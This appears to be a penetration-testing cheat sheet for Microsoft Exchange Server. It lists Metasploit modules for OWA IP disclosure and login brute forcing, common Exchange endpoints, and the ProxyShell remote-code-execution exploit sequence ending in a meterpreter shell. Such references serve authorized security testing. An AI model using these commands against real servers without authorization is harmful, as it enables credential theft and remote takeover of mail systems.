Microsoft Exchange Server Pentesting
Last modified: 2023-04-23
Microsoft Exchange Server is a mail server and calendaring server developed by Microsoft.
Enumeration
OWA (Outlook Web Access)
msfconsole
# Client Access Server (CAS) IIS HTTP Internal IP Disclosure
msf> use auxiliary/scanner/http/owa_iis_internal_ip
# Brute Force credentials
msf> use auxiliary/scanner/http/owa_login
Common Directories
# Autodiscover service
/autodiscover/
/autodiscover/autodiscover.xml
# Enhanced Client or Proxy
/ecp/
# Exchange Web Services
/ews/
# Offline Address Books
/oab/
# Outlook Web Access
/owa/
/owa/auth/login.aspx
ProxyShell RCE
CVE-2021-31207, CVE-2021-34523, CVE-2021-34473 Reference: https://www.rapid7.com/db/modules/exploit/windows/http/exchange_proxyshell_rce/
msfconsole
msf> use exploit/windows/http/exchange_proxyshell_rce
msf> (set options...)
msf> exploit
meterpreter> shell